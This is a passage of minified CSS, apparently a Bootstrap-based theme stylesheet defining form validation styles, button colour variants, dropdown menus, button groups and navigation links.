.invalid-feedback){margin-left:calc(var(--bs-border-width)*-1);border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.form-floating:not(:first-child)>.form-control,.input-group>.form-floating:not(:first-child)>.form-select{border-top-left-radius:0;border-bottom-left-radius:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:0.875em;color:var(--bs-form-valid-color)}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:0.7875rem;color:#fff;background-color:var(--bs-success);border-radius:.25rem}.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip,.is-valid~.valid-feedback,.is-valid~.valid-tooltip{display:block}.was-validated .form-control:valid,.form-control.is-valid{border-color:var(--bs-form-valid-border-color);padding-right:calc(1.5em + 0.75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%237aa748' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(0.375em + 0.1875rem) center;background-size:calc(0.75em + 0.375rem) calc(0.75em + 0.375rem)}.was-validated .form-control:valid:focus,.form-control.is-valid:focus{border-color:var(--bs-form-valid-border-color);box-shadow:0 0 0 .25rem rgba(var(--bs-success-rgb), 0.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + 0.75rem);background-position:top calc(0.375em + 0.1875rem) right calc(0.375em + 0.1875rem)}.was-validated .form-select:valid,.form-select.is-valid{border-color:var(--bs-form-valid-border-color)}.was-validated .form-select:valid:not([multiple]):not([size]),.was-validated .form-select:valid:not([multiple])[size="1"],.form-select.is-valid:not([multiple]):not([size]),.form-select.is-valid:not([multiple])[size="1"]{--bs-form-select-bg-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%237aa748' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");padding-right:4.125rem;background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(0.75em + 0.375rem) calc(0.75em + 0.375rem)}.was-validated .form-select:valid:focus,.form-select.is-valid:focus{border-color:var(--bs-form-valid-border-color);box-shadow:0 0 0 .25rem rgba(var(--bs-success-rgb), 0.25)}.was-validated .form-control-color:valid,.form-control-color.is-valid{width:calc(3rem + calc(1.5em + 0.75rem))}.was-validated .form-check-input:valid,.form-check-input.is-valid{border-color:var(--bs-form-valid-border-color)}.was-validated .form-check-input:valid:checked,.form-check-input.is-valid:checked{background-color:var(--bs-form-valid-color)}.was-validated .form-check-input:valid:focus,.form-check-input.is-valid:focus{box-shadow:0 0 0 .25rem rgba(var(--bs-success-rgb), 0.25)}.was-validated .form-check-input:valid~.form-check-label,.form-check-input.is-valid~.form-check-label{color:var(--bs-form-valid-color)}.form-check-inline .form-check-input~.valid-feedback{margin-left:.5em}.was-validated .input-group>.form-control:not(:focus):valid,.input-group>.form-control:not(:focus).is-valid,.was-validated .input-group>.form-select:not(:focus):valid,.input-group>.form-select:not(:focus).is-valid,.was-validated .input-group>.form-floating:not(:focus-within):valid,.input-group>.form-floating:not(:focus-within).is-valid{z-index:3}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:0.875em;color:var(--bs-form-invalid-color)}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:0.7875rem;color:#fff;background-color:var(--bs-danger);border-radius:.25rem}.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip,.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip{display:block}.was-validated .form-control:invalid,.form-control.is-invalid{border-color:var(--bs-form-invalid-border-color);padding-right:calc(1.5em + 0.75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23f27436'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23f27436' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(0.375em + 0.1875rem) center;background-size:calc(0.75em + 0.375rem) calc(0.75em + 0.375rem)}.was-validated .form-control:invalid:focus,.form-control.is-invalid:focus{border-color:var(--bs-form-invalid-border-color);box-shadow:0 0 0 .25rem rgba(var(--bs-danger-rgb), 0.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + 0.75rem);background-position:top calc(0.375em + 0.1875rem) right calc(0.375em + 0.1875rem)}.was-validated .form-select:invalid,.form-select.is-invalid{border-color:var(--bs-form-invalid-border-color)}.was-validated .form-select:invalid:not([multiple]):not([size]),.was-validated .form-select:invalid:not([multiple])[size="1"],.form-select.is-invalid:not([multiple]):not([size]),.form-select.is-invalid:not([multiple])[size="1"]{--bs-form-select-bg-icon: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23f27436'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23f27436' stroke='none'/%3e%3c/svg%3e");padding-right:4.125rem;background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(0.75em + 0.375rem) calc(0.75em + 0.375rem)}.was-validated .form-select:invalid:focus,.form-select.is-invalid:focus{border-color:var(--bs-form-invalid-border-color);box-shadow:0 0 0 .25rem rgba(var(--bs-danger-rgb), 0.25)}.was-validated .form-control-color:invalid,.form-control-color.is-invalid{width:calc(3rem + calc(1.5em + 0.75rem))}.was-validated .form-check-input:invalid,.form-check-input.is-invalid{border-color:var(--bs-form-invalid-border-color)}.was-validated .form-check-input:invalid:checked,.form-check-input.is-invalid:checked{background-color:var(--bs-form-invalid-color)}.was-validated .form-check-input:invalid:focus,.form-check-input.is-invalid:focus{box-shadow:0 0 0 .25rem rgba(var(--bs-danger-rgb), 0.25)}.was-validated .form-check-input:invalid~.form-check-label,.form-check-input.is-invalid~.form-check-label{color:var(--bs-form-invalid-color)}.form-check-inline .form-check-input~.invalid-feedback{margin-left:.5em}.was-validated .input-group>.form-control:not(:focus):invalid,.input-group>.form-control:not(:focus).is-invalid,.was-validated .input-group>.form-select:not(:focus):invalid,.input-group>.form-select:not(:focus).is-invalid,.was-validated .input-group>.form-floating:not(:focus-within):invalid,.input-group>.form-floating:not(:focus-within).is-invalid{z-index:4}.btn{--bs-btn-padding-x: 0.75rem;--bs-btn-padding-y: 0.375rem;--bs-btn-font-family: ;--bs-btn-font-size:0.9rem;--bs-btn-font-weight: 400;--bs-btn-line-height: 1.5;--bs-btn-color: var(--bs-body-color);--bs-btn-bg: transparent;--bs-btn-border-width: var(--bs-border-width);--bs-btn-border-color: transparent;--bs-btn-border-radius: var(--bs-border-radius);--bs-btn-hover-border-color: transparent;--bs-btn-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.15), 0 1px 1px rgba(0, 0, 0, 0.075);--bs-btn-disabled-opacity: 0.65;--bs-btn-focus-box-shadow: 0 0 0 0.25rem rgba(var(--bs-btn-focus-shadow-rgb), .5);display:inline-block;padding:var(--bs-btn-padding-y) var(--bs-btn-padding-x);font-family:var(--bs-btn-font-family);font-size:var(--bs-btn-font-size);font-weight:var(--bs-btn-font-weight);line-height:var(--bs-btn-line-height);color:var(--bs-btn-color);text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;user-select:none;border:var(--bs-btn-border-width) solid var(--bs-btn-border-color);border-radius:var(--bs-btn-border-radius);background-color:var(--bs-btn-bg);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media(prefers-reduced-motion: reduce){.btn{transition:none}}.btn:hover{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color)}.btn-check+.btn:hover{color:var(--bs-btn-color);background-color:var(--bs-btn-bg);border-color:var(--bs-btn-border-color)}.btn:focus-visible{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-focus-box-shadow)}.btn-check:focus-visible+.btn{border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-focus-box-shadow)}.btn-check:checked+.btn,:not(.btn-check)+.btn:active,.btn:first-child:active,.btn.active,.btn.show{color:var(--bs-btn-active-color);background-color:var(--bs-btn-active-bg);border-color:var(--bs-btn-active-border-color)}.btn-check:checked+.btn:focus-visible,:not(.btn-check)+.btn:active:focus-visible,.btn:first-child:active:focus-visible,.btn.active:focus-visible,.btn.show:focus-visible{box-shadow:var(--bs-btn-focus-box-shadow)}.btn-check:checked:focus-visible+.btn{box-shadow:var(--bs-btn-focus-box-shadow)}.btn:disabled,.btn.disabled,fieldset:disabled .btn{color:var(--bs-btn-disabled-color);pointer-events:none;background-color:var(--bs-btn-disabled-bg);border-color:var(--bs-btn-disabled-border-color);opacity:var(--bs-btn-disabled-opacity)}.btn-primary{--bs-btn-color: #ffffff;--bs-btn-bg: #5b4fb9;--bs-btn-border-color: #5b4fb9;--bs-btn-hover-color: #ffffff;--bs-btn-hover-bg: #4d439d;--bs-btn-hover-border-color: #493f94;--bs-btn-focus-shadow-rgb: 116, 105, 196;--bs-btn-active-color: #ffffff;--bs-btn-active-bg: #493f94;--bs-btn-active-border-color: #443b8b;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #ffffff;--bs-btn-disabled-bg: #5b4fb9;--bs-btn-disabled-border-color: #5b4fb9}.btn-secondary{--bs-btn-color: #000000;--bs-btn-bg: #d0d5e1;--bs-btn-border-color: #d0d5e1;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #d7dbe6;--bs-btn-hover-border-color: #d5d9e4;--bs-btn-focus-shadow-rgb: 177, 181, 191;--bs-btn-active-color: #000000;--bs-btn-active-bg: #d9dde7;--bs-btn-active-border-color: #d5d9e4;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #000000;--bs-btn-disabled-bg: #d0d5e1;--bs-btn-disabled-border-color: #d0d5e1}.btn-danger{--bs-btn-color: #000000;--bs-btn-bg: #f27436;--bs-btn-border-color: #f27436;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #f48954;--bs-btn-hover-border-color: #f3824a;--bs-btn-focus-shadow-rgb: 206, 99, 46;--bs-btn-active-color: #000000;--bs-btn-active-bg: #f5905e;--bs-btn-active-border-color: #f3824a;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #000000;--bs-btn-disabled-bg: #f27436;--bs-btn-disabled-border-color: #f27436}.btn-success{--bs-btn-color: #000000;--bs-btn-bg: #7aa748;--bs-btn-border-color: #7aa748;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #8eb463;--bs-btn-hover-border-color: #87b05a;--bs-btn-focus-shadow-rgb: 104, 142, 61;--bs-btn-active-color: #000000;--bs-btn-active-bg: #95b96d;--bs-btn-active-border-color: #87b05a;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #000000;--bs-btn-disabled-bg: #7aa748;--bs-btn-disabled-border-color: #7aa748}.btn-info{--bs-btn-color: #000000;--bs-btn-bg: #00a1ff;--bs-btn-border-color: #00a1ff;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #26afff;--bs-btn-hover-border-color: #1aaaff;--bs-btn-focus-shadow-rgb: 0, 137, 217;--bs-btn-active-color: #000000;--bs-btn-active-bg: #33b4ff;--bs-btn-active-border-color: #1aaaff;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #000000;--bs-btn-disabled-bg: #00a1ff;--bs-btn-disabled-border-color: #00a1ff}.btn-warning{--bs-btn-color: #000000;--bs-btn-bg: #ffc23e;--bs-btn-border-color: #ffc23e;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #ffcb5b;--bs-btn-hover-border-color: #ffc851;--bs-btn-focus-shadow-rgb: 217, 165, 53;--bs-btn-active-color: #000000;--bs-btn-active-bg: #ffce65;--bs-btn-active-border-color: #ffc851;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #000000;--bs-btn-disabled-bg: #ffc23e;--bs-btn-disabled-border-color: #ffc23e}.btn-light{--bs-btn-color: #000000;--bs-btn-bg: #edf0f7;--bs-btn-border-color: #edf0f7;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #c9ccd2;--bs-btn-hover-border-color: #bec0c6;--bs-btn-focus-shadow-rgb: 201, 204, 210;--bs-btn-active-color: #000000;--bs-btn-active-bg: #bec0c6;--bs-btn-active-border-color: #b2b4b9;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #000000;--bs-btn-disabled-bg: #edf0f7;--bs-btn-disabled-border-color: #edf0f7}.btn-dark{--bs-btn-color: #ffffff;--bs-btn-bg: #202020;--bs-btn-border-color: #202020;--bs-btn-hover-color: #ffffff;--bs-btn-hover-bg: #414141;--bs-btn-hover-border-color: #363636;--bs-btn-focus-shadow-rgb: 65, 65, 65;--bs-btn-active-color: #ffffff;--bs-btn-active-bg: #4d4d4d;--bs-btn-active-border-color: #363636;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #ffffff;--bs-btn-disabled-bg: #202020;--bs-btn-disabled-border-color: #202020}.btn-outline-primary{--bs-btn-color: #5b4fb9;--bs-btn-border-color: #5b4fb9;--bs-btn-hover-color: #ffffff;--bs-btn-hover-bg: #5b4fb9;--bs-btn-hover-border-color: #5b4fb9;--bs-btn-focus-shadow-rgb: 91, 79, 185;--bs-btn-active-color: #ffffff;--bs-btn-active-bg: #5b4fb9;--bs-btn-active-border-color: #5b4fb9;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #5b4fb9;--bs-btn-disabled-bg: transparent;--bs-btn-disabled-border-color: #5b4fb9;--bs-gradient: none}.btn-outline-secondary{--bs-btn-color: #d0d5e1;--bs-btn-border-color: #d0d5e1;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #d0d5e1;--bs-btn-hover-border-color: #d0d5e1;--bs-btn-focus-shadow-rgb: 208, 213, 225;--bs-btn-active-color: #000000;--bs-btn-active-bg: #d0d5e1;--bs-btn-active-border-color: #d0d5e1;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #d0d5e1;--bs-btn-disabled-bg: transparent;--bs-btn-disabled-border-color: #d0d5e1;--bs-gradient: none}.btn-outline-danger{--bs-btn-color: #f27436;--bs-btn-border-color: #f27436;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #f27436;--bs-btn-hover-border-color: #f27436;--bs-btn-focus-shadow-rgb: 242, 116, 54;--bs-btn-active-color: #000000;--bs-btn-active-bg: #f27436;--bs-btn-active-border-color: #f27436;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #f27436;--bs-btn-disabled-bg: transparent;--bs-btn-disabled-border-color: #f27436;--bs-gradient: none}.btn-outline-success{--bs-btn-color: #7aa748;--bs-btn-border-color: #7aa748;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #7aa748;--bs-btn-hover-border-color: #7aa748;--bs-btn-focus-shadow-rgb: 122, 167, 72;--bs-btn-active-color: #000000;--bs-btn-active-bg: #7aa748;--bs-btn-active-border-color: #7aa748;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #7aa748;--bs-btn-disabled-bg: transparent;--bs-btn-disabled-border-color: #7aa748;--bs-gradient: none}.btn-outline-info{--bs-btn-color: #00a1ff;--bs-btn-border-color: #00a1ff;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #00a1ff;--bs-btn-hover-border-color: #00a1ff;--bs-btn-focus-shadow-rgb: 0, 161, 255;--bs-btn-active-color: #000000;--bs-btn-active-bg: #00a1ff;--bs-btn-active-border-color: #00a1ff;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #00a1ff;--bs-btn-disabled-bg: transparent;--bs-btn-disabled-border-color: #00a1ff;--bs-gradient: none}.btn-outline-warning{--bs-btn-color: #ffc23e;--bs-btn-border-color: #ffc23e;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #ffc23e;--bs-btn-hover-border-color: #ffc23e;--bs-btn-focus-shadow-rgb: 255, 194, 62;--bs-btn-active-color: #000000;--bs-btn-active-bg: #ffc23e;--bs-btn-active-border-color: #ffc23e;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #ffc23e;--bs-btn-disabled-bg: transparent;--bs-btn-disabled-border-color: #ffc23e;--bs-gradient: none}.btn-outline-light{--bs-btn-color: #edf0f7;--bs-btn-border-color: #edf0f7;--bs-btn-hover-color: #000000;--bs-btn-hover-bg: #edf0f7;--bs-btn-hover-border-color: #edf0f7;--bs-btn-focus-shadow-rgb: 237, 240, 247;--bs-btn-active-color: #000000;--bs-btn-active-bg: #edf0f7;--bs-btn-active-border-color: #edf0f7;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #edf0f7;--bs-btn-disabled-bg: transparent;--bs-btn-disabled-border-color: #edf0f7;--bs-gradient: none}.btn-outline-dark{--bs-btn-color: #202020;--bs-btn-border-color: #202020;--bs-btn-hover-color: #ffffff;--bs-btn-hover-bg: #202020;--bs-btn-hover-border-color: #202020;--bs-btn-focus-shadow-rgb: 32, 32, 32;--bs-btn-active-color: #ffffff;--bs-btn-active-bg: #202020;--bs-btn-active-border-color: #202020;--bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color: #202020;--bs-btn-disabled-bg: transparent;--bs-btn-disabled-border-color: #202020;--bs-gradient: none}.btn-link{--bs-btn-font-weight: 400;--bs-btn-color: var(--bs-link-color);--bs-btn-bg: transparent;--bs-btn-border-color: transparent;--bs-btn-hover-color: var(--bs-link-hover-color);--bs-btn-hover-border-color: transparent;--bs-btn-active-color: var(--bs-link-hover-color);--bs-btn-active-border-color: transparent;--bs-btn-disabled-color: #3d3e47;--bs-btn-disabled-border-color: transparent;--bs-btn-box-shadow: 0 0 0 #000;--bs-btn-focus-shadow-rgb: 116, 105, 196;text-decoration:underline}.btn-link:focus-visible{color:var(--bs-btn-color)}.btn-link:hover{color:var(--bs-btn-hover-color)}.btn-lg,.btn-group-lg>.btn{--bs-btn-padding-y: 0.5rem;--bs-btn-padding-x: 1rem;--bs-btn-font-size:1.125rem;--bs-btn-border-radius: var(--bs-border-radius-lg)}.btn-sm,.btn-group-sm>.btn{--bs-btn-padding-y: 0.25rem;--bs-btn-padding-x: 0.5rem;--bs-btn-font-size:0.7875rem;--bs-btn-border-radius: var(--bs-border-radius-sm)}.fade{transition:opacity .15s linear}@media(prefers-reduced-motion: reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{height:0;overflow:hidden;transition:height .35s ease}@media(prefers-reduced-motion: reduce){.collapsing{transition:none}}.collapsing.collapse-horizontal{width:0;height:auto;transition:width .35s ease}@media(prefers-reduced-motion: reduce){.collapsing.collapse-horizontal{transition:none}}.dropup,.dropend,.dropdown,.dropstart,.dropup-center,.dropdown-center{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid rgba(0,0,0,0);border-bottom:0;border-left:.3em solid rgba(0,0,0,0)}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{--bs-dropdown-zindex: 1000;--bs-dropdown-min-width: 10rem;--bs-dropdown-padding-x: 0;--bs-dropdown-padding-y: 0.5rem;--bs-dropdown-spacer: 0.125rem;--bs-dropdown-font-size:0.9rem;--bs-dropdown-color: var(--bs-body-color);--bs-dropdown-bg: var(--bs-body-bg);--bs-dropdown-border-color: #e5e6ec;--bs-dropdown-border-radius: var(--bs-border-radius);--bs-dropdown-border-width: var(--bs-border-width);--bs-dropdown-inner-border-radius: calc(var(--bs-border-radius) - var(--bs-border-width));--bs-dropdown-divider-bg: #e5e6ec;--bs-dropdown-divider-margin-y: 0.5rem;--bs-dropdown-box-shadow: var(--bs-box-shadow);--bs-dropdown-link-color: var(--bs-body-color);--bs-dropdown-link-hover-color: var(--bs-body-color);--bs-dropdown-link-hover-bg: #f3f4f9;--bs-dropdown-link-active-color: #080809;--bs-dropdown-link-active-bg: #f3f4f9;--bs-dropdown-link-disabled-color: var(--bs-tertiary-color);--bs-dropdown-item-padding-x: 1rem;--bs-dropdown-item-padding-y: 0.25rem;--bs-dropdown-header-color: #3d3e47;--bs-dropdown-header-padding-x: 1rem;--bs-dropdown-header-padding-y: 0.5rem;position:absolute;z-index:var(--bs-dropdown-zindex);display:none;min-width:var(--bs-dropdown-min-width);padding:var(--bs-dropdown-padding-y) var(--bs-dropdown-padding-x);margin:0;font-size:var(--bs-dropdown-font-size);color:var(--bs-dropdown-color);text-align:left;list-style:none;background-color:var(--bs-dropdown-bg);background-clip:padding-box;border:var(--bs-dropdown-border-width) solid var(--bs-dropdown-border-color);border-radius:var(--bs-dropdown-border-radius)}.dropdown-menu[data-bs-popper]{top:100%;left:0;margin-top:var(--bs-dropdown-spacer)}.dropdown-menu-start{--bs-position: start}.dropdown-menu-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-end{--bs-position: end}.dropdown-menu-end[data-bs-popper]{right:0;left:auto}@media(min-width: 576px){.dropdown-menu-sm-start{--bs-position: start}.dropdown-menu-sm-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-sm-end{--bs-position: end}.dropdown-menu-sm-end[data-bs-popper]{right:0;left:auto}}@media(min-width: 768px){.dropdown-menu-md-start{--bs-position: start}.dropdown-menu-md-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-md-end{--bs-position: end}.dropdown-menu-md-end[data-bs-popper]{right:0;left:auto}}@media(min-width: 992px){.dropdown-menu-lg-start{--bs-position: start}.dropdown-menu-lg-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-lg-end{--bs-position: end}.dropdown-menu-lg-end[data-bs-popper]{right:0;left:auto}}@media(min-width: 1200px){.dropdown-menu-xl-start{--bs-position: start}.dropdown-menu-xl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xl-end{--bs-position: end}.dropdown-menu-xl-end[data-bs-popper]{right:0;left:auto}}@media(min-width: 1400px){.dropdown-menu-xxl-start{--bs-position: start}.dropdown-menu-xxl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xxl-end{--bs-position: end}.dropdown-menu-xxl-end[data-bs-popper]{right:0;left:auto}}.dropup .dropdown-menu[data-bs-popper]{top:auto;bottom:100%;margin-top:0;margin-bottom:var(--bs-dropdown-spacer)}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid rgba(0,0,0,0);border-bottom:.3em solid;border-left:.3em solid rgba(0,0,0,0)}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-menu[data-bs-popper]{top:0;right:auto;left:100%;margin-top:0;margin-left:var(--bs-dropdown-spacer)}.dropend .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid rgba(0,0,0,0);border-right:0;border-bottom:.3em solid rgba(0,0,0,0);border-left:.3em solid}.dropend .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-toggle::after{vertical-align:0}.dropstart .dropdown-menu[data-bs-popper]{top:0;right:100%;left:auto;margin-top:0;margin-right:var(--bs-dropdown-spacer)}.dropstart .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:""}.dropstart .dropdown-toggle::after{display:none}.dropstart .dropdown-toggle::before{display:inline-block;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid rgba(0,0,0,0);border-right:.3em solid;border-bottom:.3em solid rgba(0,0,0,0)}.dropstart .dropdown-toggle:empty::after{margin-left:0}.dropstart .dropdown-toggle::before{vertical-align:0}.dropdown-divider{height:0;margin:var(--bs-dropdown-divider-margin-y) 0;overflow:hidden;border-top:1px solid var(--bs-dropdown-divider-bg);opacity:1}.dropdown-item{display:block;width:100%;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);clear:both;font-weight:400;color:var(--bs-dropdown-link-color);text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0;border-radius:var(--bs-dropdown-item-border-radius, 0)}.dropdown-item:hover,.dropdown-item:focus{color:var(--bs-dropdown-link-hover-color);background-color:var(--bs-dropdown-link-hover-bg)}.dropdown-item.active,.dropdown-item:active{color:var(--bs-dropdown-link-active-color);text-decoration:none;background-color:var(--bs-dropdown-link-active-bg)}.dropdown-item.disabled,.dropdown-item:disabled{color:var(--bs-dropdown-link-disabled-color);pointer-events:none;background-color:rgba(0,0,0,0)}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:var(--bs-dropdown-header-padding-y) var(--bs-dropdown-header-padding-x);margin-bottom:0;font-size:0.7875rem;color:var(--bs-dropdown-header-color);white-space:nowrap}.dropdown-item-text{display:block;padding:var(--bs-dropdown-item-padding-y) var(--bs-dropdown-item-padding-x);color:var(--bs-dropdown-link-color)}.dropdown-menu-dark{--bs-dropdown-color: #b6b8c4;--bs-dropdown-bg: #17171b;--bs-dropdown-border-color: #e5e6ec;--bs-dropdown-box-shadow: ;--bs-dropdown-link-color: #b6b8c4;--bs-dropdown-link-hover-color: #ffffff;--bs-dropdown-divider-bg: #e5e6ec;--bs-dropdown-link-hover-bg: rgba(255, 255, 255, 0.15);--bs-dropdown-link-active-color: #080809;--bs-dropdown-link-active-bg: #f3f4f9;--bs-dropdown-link-disabled-color: #5a5c68;--bs-dropdown-header-color: #5a5c68}.btn-group,.btn-group-vertical{position:relative;display:inline-flex;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;flex:1 1 auto}.btn-group>.btn-check:checked+.btn,.btn-group>.btn-check:focus+.btn,.btn-group>.btn:hover,.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn-check:checked+.btn,.btn-group-vertical>.btn-check:focus+.btn,.btn-group-vertical>.btn:hover,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn.active{z-index:1}.btn-toolbar{display:flex;flex-wrap:wrap;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group{border-radius:var(--bs-border-radius)}.btn-group>:not(.btn-check:first-child)+.btn,.btn-group>.btn-group:not(:first-child){margin-left:calc(var(--bs-border-width)*-1)}.btn-group>.btn:not(:last-child):not(.dropdown-toggle),.btn-group>.btn.dropdown-toggle-split:first-child,.btn-group>.btn-group:not(:last-child)>.btn{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:nth-child(n+3),.btn-group>:not(.btn-check)+.btn,.btn-group>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after,.dropend .dropdown-toggle-split::after{margin-left:0}.dropstart .dropdown-toggle-split::before{margin-right:0}.btn-sm+.dropdown-toggle-split,.btn-group-sm>.btn+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-lg+.dropdown-toggle-split,.btn-group-lg>.btn+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{flex-direction:column;align-items:flex-start;justify-content:center}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group{width:100%}.btn-group-vertical>.btn:not(:first-child),.btn-group-vertical>.btn-group:not(:first-child){margin-top:calc(var(--bs-border-width)*-1)}.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle),.btn-group-vertical>.btn-group:not(:last-child)>.btn{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn~.btn,.btn-group-vertical>.btn-group:not(:first-child)>.btn{border-top-left-radius:0;border-top-right-radius:0}.nav{--bs-nav-link-padding-x: 1rem;--bs-nav-link-padding-y: 0.5rem;--bs-nav-link-font-weight: ;--bs-nav-link-color: var(--bs-link-color);--bs-nav-link-hover-color: var(--bs-link-hover-color);--bs-nav-link-disabled-color: var(--bs-secondary-color);display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:var(--bs-nav-link-padding-y) var(--bs-nav-link-padding-x);font-size:var(--bs-nav-link-font-size);font-weight:var(--bs-nav-link-font-weight);color:var(--bs-nav-link-color);text-decoration:none;background:none;border:0;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s 